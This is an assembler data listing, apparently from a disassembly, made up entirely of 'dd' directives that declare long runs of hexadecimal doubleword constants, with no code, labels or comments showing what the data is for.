		dd 0F83374A2h, 1260EEAh, 8034E7DCh, 5F0B1218h, 759680FCh
		dd 9B1302Eh, 0C428AD3Ch, 3D8A3449h, 49C1009Ch, 7CDE70Bh
		dd 621300BAh, 0A4CCA957h, 2900D999h, 7DF3E576h,	7BF84C2h
		dd 148061B7h, 43A63022h, 450B1FCFh, 65CDD99Dh, 609EC4C8h
		dd 1EE3D756h, 0C073C54Fh, 288F0FF6h, 2900BA10h,	0F25CA8A3h
		dd 0BC67482Eh, 8C8A690h, 0CF06F41Ah, 719958Bh, 0B552A08Eh
		dd 0F542E01Ch, 81F24E15h, 9D86343Ch, 0B826736Dh, 0BE6C2FC0h
		dd 0A9EA2538h, 60CFBCEDh, 7B11949Bh, 11A0914Bh,	50B48120h
		dd 79DAAEDFh, 8CE46140h, 6459F950h, 78B38718h, 0DAF1E979h
		dd 0A8D080E9h, 5C9470B8h, 0A484546Dh, 0B170C819h, 1CFB048Ch
		dd 0BC922D34h, 0F3E1B078h
		dd 4E3B1F1Ch, 2B2F8952h, 274BB481h, 5FCC485Bh, 0E874E478h
		dd 918C1D9Dh, 2416803Ch, 0A11F969h, 43E8A56Ch, 5A3F4390h
		dd 4954F5D0h, 331F2DFAh, 65403096h, 193571C0h, 7B8F0484h
		dd 0B8CD1AADh, 4D380C7Ch, 0F8AE41C7h, 0FF49A15h, 4E2D8A23h
		dd 5E36E780h, 7FE94252h, 3136B1h, 0B724A0CBh, 224D0010h
		dd 0D04F8CD2h, 0A700C38Fh, 950F5F36h, 18A1E26h,	0E283C9AAh
		dd 0D0A319A5h, 6496F1A4h, 9F872083h, 0C12934E9h, 0F1180621h
		dd 6F1F4967h, 807AAAEFh, 240136EEh, 0FA662C92h,	1ED092E7h
		dd 0C0F29C1Ch, 9B5B90Ah, 1E0F835Eh, 694712A1h, 79F459B4h
		dd 7EA18FBh, 484D9DB0h,	0ED0FB468h, 46CA08E0h, 79100982h
		dd 2418F70Ch, 4F6E4813h, 94DE2CB1h, 437821FCh, 646C4525h
		dd 503633Eh, 95CBC430h,	0B37881B0h, 0E0FC0243h,	5D4F32Ch
		dd 50CB5D58h, 0A2FCE397h, 7CC33190h, 215C77F4h,	9D1AC400h
		dd 3784A4BCh, 0CA280469h, 756AE8F4h, 0C0605871h, 97690F88h
		dd 83FF1160h, 0D476C260h, 41DC3CE1h, 26BB2792h,	0FC11849Dh
		dd 9560AA8Fh, 4556C4E3h, 5402354Bh, 4C572BBh, 1CE88Fh
		dd 5087DFC6h, 5D719352h, 2F5A4C89h, 3C2334h, 0DFC5D75Bh
		dd 2F39E4CBh, 0BE4A7988h, 7D581C80h, 4E63902Dh,	233C2FEAh
		dd 1AE3009Eh, 34F49C8Bh, 29184102h, 9BC028F7h, 5E8799C8h
		dd 0B49A4F0Eh, 61DC0480h, 522C39AAh, 4100B54Ch,	7AC2AC8Bh
		dd 649D9FA8h, 0D480FB91h, 0C8364EEEh, 62206A1Fh, 467C9024h
		dd 4FC1003Ah, 7C0A2FB3h, 0F9450089h, 25B4C4A0h,	5A1EAF75h
		dd 7E05F1B6h, 5CE5338Dh, 0DC01C7E9h, 0A06F3B51h, 68805819h
		dd 6C694Dh, 1EF48A3Eh, 12E2A9B5h, 8C7FF622h, 1A10CEA8h
		dd 661CF4E1h, 0DA0B4921h, 3244D4E7h, 0C6C40C60h, 26726D16h
		dd 0D8B7FCB3h, 0B84AE0C3h, 12AF522Fh, 84E29EBAh, 0A28CE314h
		dd 20FE3197h, 0F4409AB0h, 397E3A66h, 0CA60445Eh, 582912CFh
		dd 91E28862h, 5F614430h, 8C8C301Ah, 82EBC25Ah, 1ECABF60h
		dd 4138EA33h, 32101964h, 0C14A28EAh, 0C88A5449h, 6AE1C4h
		dd 3CE02780h, 6F17E609h, 5406F44Ah, 7731E426h, 0E97500CBh
		dd 0CEFE388h, 0F007806Dh, 296A92B6h, 30D872F9h,	0FE59A18Bh
		dd 603A72Eh, 62FAACA6h,	34880B8Fh, 141253BBh, 7DE7A470h
		dd 0E8B21618h, 70B278F3h, 310E8530h, 81F8DB2Eh,	3BE401AEh
		dd 0B2C6EC2Ch, 23461999h, 2388C616h, 0A2E59F70h, 343A2498h
		dd 9C467Eh, 74AE9E68h, 78230CE8h, 0AD520CBAh, 7D7172FAh
		dd 8FFCD709h, 7828108Ah, 0A4A7A0B0h, 0DC39006Fh, 47CFAC94h
		dd 523AE7F6h, 7AE104C8h, 0A8A6CC7Dh, 860EB6B0h,	0F600A490h
		dd 8B8E54ECh, 9BCC4F9h,	3156ACC0h, 0B72FEC18h, 98B88507h
		dd 0DC4ADC97h, 4050DF60h, 0BCDEEC19h, 88CD2D78h, 911EB1C0h
		dd 38DE5CBAh, 1E790310h, 5B1EA112h, 0E49AFA7Ah,	70CEBCF0h
		dd 0FDF8308Eh, 0C792058Ch, 861AAD53h, 5401481Ch, 383E5137h
		dd 0F6F25B27h, 45D178Ch, 7B5FE360h, 7F9AD06h, 0C4131CE1h
		dd 1CA0096Eh, 4D61023Ah, 1DF7723h, 4F0EF4C0h, 9A036492h
		dd 4AE86F11h, 824DA09Eh, 0C431034Eh, 0B38EA897h, 2AC16D81h
		dd 93D9C019h, 3DF07C76h, 4A038FDEh, 0D7547B0Dh,	0C194673Ch
		dd 42C0F0B6h, 8A0FB448h, 8A5817A2h, 465634CCh, 1264009Eh
		dd 0AC13C82Bh, 0DCA5008Bh, 9CDE8032h, 0C4130D04h, 28A44D52h
		dd 0E787002Bh, 0C96E9969h, 560B2D82h, 50FF2165h, 0F2D60A08h
		dd 7DCA61Eh, 905CC063h,	6E50EA74h, 0C44C73F0h, 0F24C791Ch
		dd 8C9DF8E4h, 80C00A39h, 7123B4EEh, 5525C48h, 0E8BEC2ABh
		dd 0C8FC8EDEh, 0EAB7C0F6h, 4C00473Eh, 0C3D79B17h, 95A5AB7Ah
		dd 7176AC90h, 60203041h, 820E20C2h, 86A94202h, 47A153DCh
		dd 603F4444h, 198D3BFh,	114E96DAh, 2AB32169h, 8CE9B404h
		dd 0ACA90080h, 222D1734h, 0E024A663h, 45221h, 1B71BA42h
		dd 229068CFh, 0C14E5327h, 0A033A5E4h, 0A23197B2h, 37001023h
		dd 97253CF9h, 0FD1A757Bh, 7EB0A703h, 30465E3Ch,	8C8D5A00h
		dd 9C1F78ECh, 4EF21527h, 56A0946Ch, 8F00F746h, 6E8A7696h
		dd 0A70020DAh, 4D29665Eh, 4A2DBF5h, 5594D550h, 0AC44BD8Ch
		dd 0EC021316h, 76540421h, 0E45E01F7h, 2A0D8D26h, 0CD03606Ah
		dd 0E7EABE1Fh, 0A409A8B0h, 0EB26A919h, 0CDE0C0D9h, 20880129h
		dd 83408FC6h, 0BCD87CA9h, 99008C7Ah, 0D057A675h, 0D9C59h
		dd 5B127837h, 0CD850781h, 9522C0A0h, 3135880h, 4D2CBB25h
		dd 48304AA2h, 0BA19B901h, 79490F12h, 83E2DA89h,	0B0DE1A18h
		dd 544C13DEh, 0B214A6E8h, 88CE303Dh, 0D439C201h, 0ECA3E762h
		dd 40914470h, 0B092238Fh, 35F8AD90h, 188A374Eh,	23542B4Ah
		dd 3A3000F8h, 0D8D41BF1h, 8DF53900h, 0C685DB9Eh, 0C129D3CEh
		dd 4E3D288h, 2CC2ECB8h,	870A25Bh, 2894A52Eh, 79C4674h
		dd 0C3F08CC7h, 0A8AB3243h, 4B537194h, 0C8A88E41h, 4ACBC033h
		dd 2750E305h, 20B5010Ch, 8BAA5970h, 8A5C2581h, 3F8C3420h
		dd 260ED37Eh, 367D58FDh, 5B4218B0h, 0F95081CFh,	0CC01D4C6h
		dd 0B28218C1h, 0F889F5CAh, 788943BEh, 321E7CF1h, 1670B440h
		dd 44D2AAA5h, 7B0038FCh, 0FB924F46h, 220AF03h, 1408A6C0h
		dd 4474FC95h, 67D10C84h, 891A0F22h, 447985h, 4D455B18h
		dd 5CB659B7h, 0C4E4AFh,	0F3DE7570h, 0ACBF69D5h,	67171EE2h
		dd 0F880E319h, 0C0E526F9h, 7FBF65B1h, 1403F2B8h, 8AE8FD4h
		dd 2FBCA8ACh, 52BE0E64h, 76A22242h, 0FC90CDB5h,	0A180EEF6h
		dd 0E44299Ch, 0FE6E00B0h, 6ACCDC4Ah, 5C3B2918h,	964FC70h
		dd 0C41473ABh, 402FC884h, 76E757F9h, 287E650Fh,	0C174C186h
		dd 5CD400C3h, 3B280246h, 0BD68B88Ah, 0D0027474h, 203335AFh
		dd 941970E4h, 0A4ABA30Ch, 2A568949h, 1C8CEC89h,	4C661E2Dh
		dd 0ABC1C7C5h, 0C62A20h, 0BF7F348Ch, 0A532E890h, 0A8913E1Dh
		dd 0C6496B18h, 8D54966h, 0A441EB2Fh, 27340095h,	5924A043h
		dd 926FFEE9h, 0F2AE175Ch, 6AB8A00Eh, 0C30F712Dh, 84E8D450h
		dd 9B084CFh, 0CC3EAB22h, 5614BE20h, 0E4019D46h,	0A80DFD04h
		dd 54F66028h, 683C0C24h, 26218D08h, 0CCD608A8h,	0A8EC1602h
		dd 79A0A019h, 5EBEB2DCh, 23302E8Ch, 0AD3A0035h,	7E78E355h
		dd 10105B5Ch, 51284B17h, 60649878h, 83DB8995h, 0DC1E3814h
		dd 0BB521586h, 60E82CADh, 4AEAA000h, 0E55516Ch,	27A3025Ch
		dd 0B61E430Fh, 465EE45Ch, 96943F30h, 0E6130Ah, 187C46E0h
		dd 3A2BCD00h, 0A9378E6Bh, 0F9B0B1A1h, 4F0E1835h, 0ABC4601Fh
		dd 5E80CBDAh, 22312456h, 34E5A550h, 50B47BC9h, 4600E13Bh
		dd 490F7B1Fh, 12DAAA3Fh, 0B02F26CAh, 0B4AD8FDCh, 11C10AC4h
		dd 56D9AB7Ch, 0E434283Ah, 45EACAAh, 6ABFF441h, 20E0ADFFh
		dd 0BAF22FCEh, 0DF328060h, 91CAAA0Bh, 64B047EFh, 98FC60F9h
		dd 3E34E85Eh, 3E3A4012h, 0F3786312h, 43BB20CCh,	68F64A0Bh
		dd 2AB825A0h, 0C296304h, 0FCBC1F2Fh, 0FB1A20A2h, 0D04F51CCh
		dd 8EEC68DDh, 59AC1800h, 49E726C9h, 0FC9697DEh,	0B5BF2144h
		dd 9F004CB7h, 0B1E88591h, 80B40125h, 0EDABACBh,	3C242447h
		dd 0F2E7FB00h, 39823B18h, 451302BEh, 0ADE31022h, 0A924D45Eh
		dd 6C9EF420h, 9D465Eh, 0F4BD64F0h, 9E82DC0h, 219D76C6h
		dd 7179E45Bh, 35003618h, 6C3B7344h, 0C72B396Eh,	0C958A858h
		dd 4328E804h, 0C8A3513Dh, 77D1F649h, 21530003h,	0C2E04E1h
		dd 0FD6B8E7Fh, 0EAE407C8h
		dd 9092F7A5h, 0F4BD8Fh,	0ABCD6F5Dh, 3C0166B5h, 4A70798Eh
		dd 0F039271Ch, 8C6BEB00h, 0AB112996h, 0D4225407h, 0FB231883h
		dd 52CE5828h, 87EFDE00h, 0A6C5BF06h, 30D15499h,	0AF1E9218h
		dd 0B30FA162h, 0B0A3533Ah, 4C3075B2h, 127D0020h, 0A50CD49Ch
		dd 0C06242BAh, 0DA6EC650h, 2044B080h, 261AC216h, 0FBF0A59Ch
		dd 2C76705Ch, 6B22D216h, 1812B4A0h, 0E12942ADh,	0A701BE60h
		dd 0C8360A4Ch, 0BDD45DBAh, 2A0E45Bh, 1828DA64h,	18804D9Ch
		dd 0CCE14F7Fh, 0C744203h, 8897CAABh, 175EFAF9h,	0DF8C586h
		dd 6FC8C374h, 5200386Fh, 8630A601h, 4654BB2Fh, 5612C4B8h
		dd 50023C4Dh, 0D6772660h, 0CE8542BCh, 0A4532C01h, 0DE0FC468h
		dd 95A4BFBCh, 329481D5h, 88DC4FCEh, 18CAC07Bh, 4E00B78Eh
		dd 991E3479h, 255C68A1h, 4D141AFh, 7B18FC79h, 0D1403F3Ch
		dd 92CCFC98h, 5904718Ah, 0CEC8199Eh, 1B4839ADh,	7752FA80h
		dd 0EF81AF61h, 8A6C102h, 0E0E994F9h, 95B87E9Ch,	0DE836C00h
		dd 0C815A0B4h, 0A8D85D58h, 58F48C9Ch, 74F24A02h, 5D5BE644h
		dd 0E063E091h, 3601D7BDh, 0E03F9BD5h, 9D319E74h, 112A1C0h
		dd 3492546Bh, 2C42AA8Dh, 0E82727B8h, 74A79488h,	40C9C38h
		dd 87EA3736h, 0ADB8C2F0h, 4B0ED448h, 171980h, 0A4E5C94Ah
		dd 7AE21B0Ch, 240CE8F0h, 0B92293C4h, 0B71C042Ch, 0ACF77968h
		dd 66AA2728h, 22204674h, 0AB230C52h, 27697FA3h,	34A1FE63h
		dd 0F7E09883h, 584226B7h, 0B1550022h, 0C47B9D3Eh, 81FF1602h
		dd 64D423F8h, 80C6EE48h, 0DD5B1AACh, 84B8EC84h,	481483C0h
		dd 0ED978730h, 83E6C06Ch, 38169477h, 1088A747h,	981A0F8Eh
		dd 819EA619h, 208C0F65h, 6F12F52Dh, 0ACB81802h,	48605C21h
		dd 60214B84h, 8DA1089h,	9E2EE9FEh, 3F019D04h, 9701F02Ch
		dd 8C3D8441h, 5CB204h, 8240D0A3h, 0B77E0F16h, 2DB099h
		dd 7C4BC9EBh, 4EE53CE2h, 4F0E7A80h, 5D36E7C3h, 12EF933Ah
		dd 98973B5Ch, 23910D20h, 4E25098Ah, 6479C793h, 3D2C0F64h
		dd 67298F66h, 0B7188021h, 0E149D2CBh, 64302E74h, 0E1FACBAh
		dd 73CC5711h, 48F9E360h, 290C5254h, 0F8C5B810h,	0CE9F4B59h
		dd 25C3101Ch, 3450A80Ah, 93D359C0h, 4CDACD21h, 3D4A18C3h
		dd 0C026A007h, 0F3FE692Fh, 0E4EBA087h, 0DC5C942Ch, 67D85709h
		dd 25707EAFh, 0A8B914CEh, 0C0183D79h, 36A37C00h, 0C2152044h
		dd 6004BDA9h, 71680191h, 3B2B1085h, 0E3A239Ch, 409D4BD0h
		dd 643F53DEh, 48090237h, 7B61BB5Ch, 56202E38h, 7A02FD46h
		dd 0C828DB7Ch, 0F14C305Dh, 417B0223h, 0B3DD06D8h, 2D1110F6h
		dd 8E28255Fh, 0CE7A88ECh, 8C450820h, 88056FBAh,	9E7A97D5h
		dd 0DBD300C0h, 0DD834B62h, 702B3A3Ch, 0B4009623h, 50DE8013h
		dd 0C4B50B5Dh, 2422C75Eh, 85EADB6h, 2F76054Fh, 2731CBDh
		dd 0C66F2A88h, 8058666Dh, 0AF5A8238h, 719469F0h, 66B32C10h
		dd 0AC68FD41h, 48C77BCh, 0B59E4C0Eh, 0AE3Ch, 646F07D7h
		dd 588C0022h, 292E293h,	8F27AEDFh, 50B7F3h, 7281556Eh
		dd 0F158383Ch, 0D12402ACh, 7242E7FDh, 0E1CEF478h, 0CC78DCh
		dd 0BCE86D72h, 0BE377491h, 9761D00h, 0A32955A5h, 0FCA75040h
		dd 2069095Bh, 0EC7E5F5Eh, 13324676h, 0F65A62h, 0C866A312h
		dd 1E4B2C18h, 44BBC9Dh,	6AC19188h, 203FED28h, 6CFB9CF4h
		dd 0A4D95200h, 0AFF49117h, 0C9F309B0h, 0D0714D79h, 27FDFCAFh
		dd 338F3480h, 934AAEC5h, 18558CB0h, 0D12223E3h,	2C26ECF7h
		dd 0E7A550DBh, 67FFC460h, 0BF1EEF01h, 1807C838h, 0E9AF3EF2h
		dd 0A67988D3h, 3A366D30h, 29963213h, 8198D5C9h,	39448334h
		dd 0BA5B7A4Ch, 0B99498C8h, 0E91128h, 0A7FFBE9Fh, 261E3076h
		dd 11495C7h, 0D22D23B4h, 0FC6E7B63h, 0CC53B900h, 0CB725E6Eh
		dd 692576EEh, 0EE20CC5Dh, 0F008B797h, 9F2F3D88h, 0FD91F49Dh
		dd 0F97ACF82h, 0C25C64E0h, 6021D8A5h, 1B18F851h, 0ACF66F01h
		dd 0C96CCABCh, 40650470h, 0B324B825h, 6DAD2022h, 0F245C084h
		dd 399724C7h, 0BC238970h, 0D303CF2h, 618A032Ch,	0C8A21CB1h
		dd 0AF42A3BAh, 1F4B8D4h, 57BCED44h, 2E9201A6h, 3223BC3Ah
		dd 0C65D6A01h, 0AC681156h, 0A2A36002h, 0B0F2F6C1h, 0E88B195Ah
		dd 0F5C076C8h, 7CFB3ACAh, 2FE4251Ah, 0A10EA418h, 4BD08A80h
		dd 0AD988414h, 125DACCCh, 4BF0E09h, 6F4758h, 11691EACh
		dd 424D4AABh, 0D2803AE8h, 0FE6460E7h, 3ACC2060h, 46516D04h
		dd 8FCC56Fh, 0DC097E25h, 357900F1h, 0AD0B7418h,	0A194611Ah
		dd 7AAB1958h, 899B082h,	745CCDE0h, 0D32C203Eh, 43580010h
		dd 796703B0h, 70618728h, 14EDD8F8h, 0FEB23CB2h,	79115330h
		dd 0E506272Fh, 0A1CA78C3h, 32116C97h, 48635181h, 4E0C7212h
		dd 32832C20h, 0EBC90058h, 2AA9BC18h, 1A1F2BEDh,	8D84E45Eh
		dd 0B8F8FAAAh, 0C033CF00h, 0EA3150ACh, 6255AF09h, 0D6C4DCCCh
		dd 0C93EAF02h, 0E0ABC39Bh, 0F6335034h, 50B79DA5h, 0A8AB9980h
		dd 190D8ADh, 0F533E58Dh, 3EE44A52h, 302D644Eh, 9A0DA28h
		dd 6EB3BB97h, 0D32588F6h, 53A470F4h, 8B38A97h, 123CA108h
		dd 8F04E82Eh, 99D27D58h, 28AED824h, 918676C4h, 18FA71B8h
		dd 0EDA05A0h, 0A86E5882h, 0D1E13254h, 0DC50D491h, 991B2A00h
		dd 0CAF20FF7h, 58D300D4h, 6F68A186h, 0C5FC1829h, 0D1480E30h
		dd 0C97C10h, 0F132757h,	8A91E6DFh, 5B129BF6h, 0C845B623h
		dd 0B845CF79h, 9EE28Eh,	73D3EFC0h, 5D67A6ABh, 4DF2C419h
		dd 70AC5C9Ah, 0DA24B9ADh, 0DE98A2h, 208F19B9h, 0A0DEFCDBh
		dd 69984A03h, 0B4A2BADDh, 460BBCACh, 702EB176h,	6064A3E2h
		dd 3252FC80h, 4498AB2Dh, 26A028D0h, 8B1749B4h, 6690B4h
		dd 7D043F0h, 0DE99ADBAh, 0C34863Ah, 0C94D01E7h,	0A0DA00EEh
		dd 5B40EF74h, 7B04A8CFh, 13306BF6h, 2F7042BBh, 7C74B878h
		dd 0D3BB0F85h, 0B43A8424h, 0EE127323h, 0E8AD8BDh, 10FA0010h
		dd 0E7FB3B83h, 3F29C539h, 12850746h, 784025B9h,	4CABF20h
		dd 2F219357h, 0B224E36Fh, 140E3031h, 0F516761Fh, 9D0475EEh
		dd 2FAE588Fh, 0F62334h,	0FFF3C8D9h, 9E3E1E70h, 0B82D7687h
		dd 94C5253h, 3CBD5E66h,	0FF51F85Eh, 0A7AB2110h,	3F14C49Dh
		dd 0C6860A37h, 38C27566h, 0B1964100h, 23F8BA5Ch, 5AA70901h
		dd 405EE376h, 0A8E25292h, 87191A82h, 0D17E881Bh, 7D50CB3Ah
		dd 2E01CC11h, 80BC285Eh, 0F4C7B9BFh, 0E59C2C9h,	2C60B387h
		dd 0CD327018h, 2968B880h, 0DC0F65h, 0CA2335B4h,	3600A44Dh
		dd 0C99FAC38h, 2CCAF31h, 2DD88A86h, 0B7D0B26h, 2DCF048h
		dd 5EC45FE0h, 9C69C889h, 0B4092E1Dh, 0F8AF09AFh, 563FC4Ch
		dd 70E30EADh, 9388F81Fh, 4D4F9C04h, 0EFC2AC04h,	7A101040h
		dd 97B4C421h, 7EC09C00h, 4697493Bh, 0E9384410h,	22435496h
		dd 9888C847h, 0DFC80042h, 0FC7C0B40h, 8509342Ch, 5CF88AB4h
		dd 85589EECh, 0BCE72967h, 0FAAE06B4h, 68198D2h,	6F482745h
		dd 78303180h, 0A495EC2Dh, 0C7D25FE2h, 5A8D7018h, 0F8BCEDC2h
		dd 2AC17E05h, 91A0B8F0h, 4BEC20A8h, 7A2CA6BCh, 2DDB0E40h
		dd 0C84BF2ACh, 0A25D76EAh, 0F6A58614h, 9C467454h, 3EB81200h
		dd 0C66488A4h, 0C88ABF2Fh, 0D9CE0Ch, 0F03F470Eh, 0AB1709FDh
		dd 0F4CD7602h, 5FB15840h, 0A3CA7882h, 0F9C4B8E7h, 5BC0D660h
		dd 0BDF68339h, 60E2A7BCh, 246ABFB0h, 97F84F71h,	81A0082Eh
		dd 10E83212h, 0C8508A92h, 0DB00C9FAh, 7DBFB0A2h, 2CA6C002h
		dd 551DD205h, 0EB00FC37h
		dd 10CFC190h, 58B6004Eh, 0B0407F41h, 0BCB9CB29h, 0A8AD8B0Ah
		dd 0B841FD80h, 10702CDh, 2D729EA7h, 9EA5D91Ah, 261234D8h
		dd 9F31E431h, 18625902h, 4676B4D4h, 74F0591h, 0A0F2C6F8h
		dd 1DD50E09h, 0F2DA070h, 9F78876Fh, 812B86h, 52DD0296h
		dd 82AB8E27h, 0F728EC00h, 5644109Ah, 48CF6759h,	0F3CAB2DCh
		dd 0AC283875h, 247200C8h, 2A4B3F27h, 1C00EA74h,	0CEADCB75h
		dd 225BFDDh, 0BB2F6640h, 3068E9FEh, 80AA23E6h, 91A0175Dh
		dd 0D2F8096h, 9DBD1ACFh, 0D5336400h, 209FC828h,	0ED783524h
		dd 0C0411265h, 93CF386h, 75750A8h, 74399BF0h, 0AC06F494h
		dd 0A38ADB69h, 2B540E99h, 972EFD67h, 642F2320h,	0A432FBC4h
		dd 5D2C0866h, 1098E82Eh, 387AACD3h, 2402BF79h, 0BB8F46AFh
		dd 0E4205E10h, 0A73C5EC5h, 7480096Eh, 0D0F3496Ch, 4C529770h
		dd 3F003636h, 0C0F4B8Fh, 0CA0A7C2Fh, 94EDA466h,	708C7B25h
		dd 7F0FCE0Bh, 89BD61DDh, 1EEC843Eh, 0A55B74C1h,	6E249C2Eh
		dd 443BEF4Eh, 54007A23h, 9C38C2F5h, 0EE1B0E27h,	0AB4E7133h
		dd 0A0F02737h, 0E98A7B9Bh, 869D5412h, 0E88550F2h, 23A43EA7h
		dd 8E3D02FCh, 90778AB6h, 9335D4h, 0AD999EFEh, 80FD10E8h
		dd 0DD5B8902h, 0FBCAF62Dh, 166D8B00h, 0B1CFF0C7h, 59670C80h
		dd 0DB5AED52h, 0E9807C9Bh, 0CC0B9F2Bh, 67A11204h, 84F28C5Dh
		dd 3E303AE2h, 0CBE80077h, 82859B03h, 5E161565h,	0F8E1BD7Eh
		dd 3D00882Fh, 8A5C55F8h, 0D0B4259Eh, 2EC21288h,	2F8CA077h
		dd 27E3060Bh, 0DC98A92Bh, 5276DC98h, 0B88C2009h, 11ECD4C0h
		dd 1ACE048Bh, 44AE9909h, 0AB6487ECh, 3A234C3Bh,	38E5D500h
		dd 0E00EFEC2h, 98C125BCh, 42E67860h, 1984697h, 0EAB91028h
		dd 28BAC483h, 548A3EB8h, 0CC9D6FE8h, 0A0CC4BC0h, 0F84AF71Ch
		dd 580094CAh, 0FB8B2A6Ch, 8D4AE9EBh, 5C0054E2h,	48C58E29h
		dd 12000522h, 7D0C7FFBh, 926B1Eh, 41C360A2h, 8FD6AB18h
		dd 0F1DC3809h, 0B0B025C4h, 0F008CCh, 1716207Ch,	1E09C259h
		dd 0C34BE03h, 0E0014386h, 97C4FD7Ah, 3501ECE6h,	24230E12h
		dd 0E03298A8h, 595CC10Fh, 9201652h, 845BAFE4h, 8BE618B1h
		dd 2A216A01h, 8C048053h, 8A0F8429h, 2C0F2748h, 0AC5237BBh
		dd 894B40E3h, 0F49B3E14h, 0F1CEA3C7h, 7EBF0F46h, 0CC710C20h
		dd 1C620047h, 0E28E0178h, 6C981257h, 681ABEF2h,	0DDB08D71h
		dd 3111E09Dh, 2BA0868Fh, 1AAF72C1h, 0D18E2125h,	5CC86A38h
		dd 0DB003F46h, 0FA4F2A73h, 0C021390h, 3F830D25h, 805CD442h
		dd 395E0B4Ch, 0C8042C18h, 6A484684h, 943040C9h,	0E8A89835h
		dd 0A0691755h, 0AC10A98Fh, 0CDA30033h, 0C428E896h, 3BE97976h
		dd 4AA6874h, 0BA8507D8h, 66482405h, 4EB84C8h, 0B4A7815Ch
		dd 5F68BCFAh, 0C880CCDBh, 86BFAF68h, 0DD8C0D00h, 0C937ACC1h
		dd 28A9B516h, 0EFAD245Eh, 80A4070h, 3800CA96h, 8258D78Fh
		dd 1E04C212h, 183653Bh,	86066403h, 3DC887DEh, 0F6C06038h
		dd 127CCB14h, 0BC34D7E0h, 0A4DEC7E8h, 0C5251E61h, 4CC4F420h
		dd 43014899h, 5E52BACFh, 2CD12AE7h, 4052A59h, 0F79690h
		dd 0ACC09BBEh, 8AAB4B54h, 0F8E64FF8h, 0D34E0E7h, 7612A920h
		dd 74BC95C4h, 0AC21CDA2h, 0F42C92FAh, 19FF8A09h, 0FB76207Ch
		dd 53047318h, 0EA941270h, 0D3EA08BCh, 0F7C8348Bh, 992ECCC0h
		dd 0A5C002B9h, 0DDD1C7Ah, 3B07DC40h, 804D07Dh, 0C928DFBCh
		dd 0B18B6CE4h, 0B7EF0120h, 0EC839279h, 0D512A89Dh, 38F2B4F8h
		dd 0A4455688h, 6F9830AAh, 104B738Dh, 887E40DCh,	364F58A8h
		dd 24A9F4C4h, 23142BD7h, 4CB9029Fh, 0A48156D1h,	2020D70Eh
		dd 69083854h, 2681B21h,	89E2F218h, 377D2042h, 3CCD0024h
		dd 0C010C3C1h, 44674F02h, 7C3BA556h, 0E3BC9220h, 3076E2BCh
		dd 60002E1Bh, 0AC45F675h, 45F26A0h, 1AD4BB92h, 0B417BAA9h
		dd 6A3BE8CDh, 0A37F02E8h, 841ACB74h, 0A0C1B8D0h, 742FC189h
		dd 0C1F0AC1Ch, 0F86ABB22h, 4A5E9064h, 0E2B4B3C7h, 0C0793092h
		dd 0D9CABF04h, 1480F9A0h, 9DE1F655h, 0D5E6064h,	387794B4h
		dd 75008758h, 6870E47Eh, 2F1732B5h, 40C5F6A3h, 4077E8E0h
		dd 5A02AF67h, 3A02D31h,	0B09DF592h, 81807491h, 0BDB97158h
		dd 0EA7A8A13h, 805A3C04h, 0C088B813h, 5D5448F7h, 0FCC095F9h
		dd 12D1AAEh, 2074529Eh,	0B9763EFh, 40305E10h, 4D29C278h
		dd 0CD407000h, 0E9F1FC7Ah, 7F6F0E87h, 0A8209B7Bh, 0C2AFBF4Ch
		dd 738C3625h, 0B81192F0h, 783E4BD4h, 29009223h,	0DACF5BC5h
		dd 440124EBh, 84EA40DCh, 28036BABh, 0AE9F87B7h,	52881058h
		dd 2F380589h, 25EEE2BBh, 0A6008CA0h, 5E5DAF01h,	12713FE9h
		dd 0CC3557C2h, 0BF02C6BEh, 0AB82F255h, 0D0A7D8F1h, 0E065EBF0h
		dd 8180DB2Eh, 5ED213D4h, 4F10BE8h, 1E5B2D98h, 282DAFF8h
		dd 9788B00Bh, 0BB2DB2C0h, 51CF61BEh, 242CD17Dh,	5E205BA8h
		dd 5CE1BDC1h, 0C3281026h, 9ED892C4h, 8A00DC88h,	0D20D261Fh
		dd 2729316Bh, 7CE0B310h, 0AF050204h, 7E2CCF93h,	9F23706Ah
		dd 0BC341600h, 7548ACAEh, 78C20735h, 799F9837h,	0E462605Ch
		dd 81C45E2Ch, 274B1483h, 0C4221D19h, 8830FAE2h,	989001Ch
		dd 0AB2D26F3h, 0B4A4C41Eh, 92CA4112h, 0C7BC5CF9h, 8FED5C06h
		dd 719A18Ah, 0A5CBF3DEh, 551A22BBh, 88F4046Ah, 9C539C12h
		dd 78E3B8E6h, 1DE00FBBh, 4D221226h, 0FE712Ah, 4ACB25FCh
		dd 0DE3F0821h, 0AD767006h, 268146C2h, 0F00609Bh, 14235D68h
		dd 0C2C8AEB8h, 20D8F40Eh, 9335F69h, 0F112ADB1h,	323F20D0h
		dd 5B2CA04Dh, 0C1689A8Ch, 0A0F95384h, 0D06B0431h, 7F52C4C8h
		dd 0A5FFE43Eh, 5A4C685h, 8DE9D763h, 6E34C021h, 0FF01DB3Dh
		dd 58EA34B7h, 0F8EBF599h, 0A8AA8ACFh, 7B85B8h, 0D1F05E79h
		dd 0D88E5198h, 0F8653101h, 0CDE2EEF2h, 70B2EC33h, 0F2D85630h
		dd 1AAD0B1Ch, 49385BDh,	0C912B012h, 7EC04801h, 0C86B4493h
		dd 0B23D8250h, 8FE86172h, 0C06B0940h, 0F5653A50h, 34A51016h
		dd 5505E4E9h, 0E0231967h, 4B48FACh, 0F94674h, 0C8AD7975h
		dd 97C3CF3Ch, 789890E6h, 88C4AF4Fh, 0E8AC74AAh,	8CFBAC40h
		dd 4DF7DA06h, 205877BAh, 0AA3A48B7h, 881CA8CAh,	2B311EEAh
		dd 80E714Eh, 0F6F24C32h, 38532230h, 0FA022D03h,	0BD78A64Dh
		dd 45B89455h, 151420F9h, 0DE00E774h, 0A58C1CACh, 0B7F6B691h
		dd 2BC09C28h, 0F88B78F0h, 1A55283Ch, 57D9F711h,	660044B7h
		dd 0A14BDF1Bh, 206E771Dh, 42123465h, 0E349A7h, 0E00BAA8Bh
		dd 0DC205Eh, 52E84631h,	76C65D25h, 70D337E6h, 0F6F27404h
		dd 29326891h, 0F6FC562Bh, 52F6F1ECh, 245BEB60h,	887CCC92h
		dd 0EA825868h, 75FEC2AEh, 0B854FCA9h, 13FE46DCh, 7CFCAB7Ah
		dd 0E3256680h, 2A1C2EB1h, 0D380507Dh, 3658ABB9h, 0AEC61433h
		dd 681D3862h, 0EAC209B8h, 37F5F8E2h, 96B0F1Ch, 0DCCC8C0Ah
		dd 0E113C100h, 6C862E43h, 0C4452556h, 0F71AA822h, 4676305Eh
		dd 789C007Bh, 2CCD40F3h, 0EC6F25D1h, 9F11C45Bh,	39450E18h
